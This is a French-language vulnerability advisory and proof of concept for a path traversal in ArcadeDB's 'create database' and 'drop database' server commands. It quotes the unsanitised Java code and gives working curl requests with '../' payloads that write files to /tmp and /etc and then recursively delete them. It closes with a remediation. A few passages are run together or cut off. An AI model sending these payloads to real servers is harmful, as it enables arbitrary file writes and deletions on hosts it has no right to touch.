
Preuve de concept pour CVE-2026-75855, un traversée de chemin dans les commandes create/drop de base de données d'ArcadeDB permettant l'écriture et la suppression arbitraires de fichiers en dehors du répertoire configuré.
Traversée de chemin dans les commandes serveur « create database » / « drop database » permettant l'écriture et la suppression arbitraires de fichiers en dehors du répertoire de base de données configuré
Les commandes create database et drop database du point de terminaison POST /api/v1/server utilisent le nom de base de données fourni par l'appelant pour construire un chemin de système de fichiers sans assainissement, normalisation ni vérification de confinement. Un utilisateur authentifié en tant que compte root du serveur ArcadeDB peut fournir un nom contenant des séquences ../ pour amener le serveur à créer (puis supprimer) une base de données entière — des fichiers et répertoires arbitraires — à n'importe quel chemin absolu du système de fichiers auquel le processus serveur peut écrire, complètement en dehors du arcadedb.server.databaseDirectory configuré.
Cela a été vérifié en direct, deux fois indépendamment à partir d'un état propre : une commande create database conçue a écrit de vrais fichiers de base de données dans /tmp/ et, dans un test séparé, dans ; une commande correspondante avec la même chaîne de traversée a ensuite supprimé récursivement le répertoire.
/etc/drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java :
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
La seule validation est une vérification de non-vacuité. databaseName circule sans modification dans ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572) :
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
Il s'agit d'une concaténation brute de chaînes, et non d'un Path.resolve() avec vérification de confinement. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) n'appelle jamais .normalize() ni ne vérifie que le chemin résolu reste sous le répertoire de base prévu avant que create()/open() n'écrivent les fichiers sur disque.
dropDatabase() présente le même manque de validation, et comme le serveur suit la base de données sous le nom littéral (contenant la traversée) fourni par l'appelant, un drop database ultérieur supprime récursivement tout répertoire dans lequel create database a écrit.
checkRootUser(user) est appliqué avant les deux commandes, cela nécessite donc le compte root du serveur — mais root ici est le superutilisateur applicatif propre à ArcadeDB, pas nécessairement le même niveau de confiance que l'accès OS/shell à l'hôte. La rupture du confinement de databaseDirectory permet à ce compte de niveau applicatif d'écrire et de supprimer des fichiers arbitraires partout où le processus JVM dispose des permissions OS.
Environnement : ArcadeData/arcadedb @ commit 545e703, compilé à partir des sources (./mvnw -pl engine,server -am install -DskipTests), exécuté en autonome avec arcadedb.server.rootPassword défini et arcadedb.server.databaseDirectory=/databases.
Confirmer que le répertoire de base de données prévu est vide.
Envoyer une commande create database avec une charge utile de traversée :
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — une base de données ArcadeDB complète et réelle. Le répertoire databases/ prévu reste vide tout au long.
list databases renvoie la chaîne de traversée littérale comme nom enregistré, confirmant une normalisation nulle :{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Répété avec une traversée plus profonde vers /etc/arcadedb-poc2 — réussi de manière identique, démontrant que l'écriture n'est pas confinée à /tmp ni à une zone particulière du système de fichiers, mais uniquement à ce que le processus peut écrire. Également reproduit avec une traversée ../ minimale à un seul niveau, confirmant une véritable évasion de chemin plutôt qu'un résultat fortuit.
drop database avec la même chaîne de traversée supprime récursivement le répertoire :
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} ; répertoire confirmé supprimé ensuite.
create database) et suppression récursive arbitraire (via drop database) à n'importe quel chemin absolu auquel le processus serveur peut écrire, entièrement en dehors du bac à sable databaseDirectory configuré.Rejeter catégoriquement les noms de base de données contenant des séparateurs de chemin (/, \) ou des segments .. (une simple expression régulière de liste blanche, par exemple ^[A-Za-z0-9_-]+$, est standard pour cette classe d'identifiants), et résoudre défensivement le chemin final avec Path.resolve(name).normalize() et vérifier qu'il commence toujours par le répertoire de base configuré avant toute opération sur fichier, à la fois dans createDatabase et dropDatabase.
Crédit : Pervin Zahidli (@ech0void )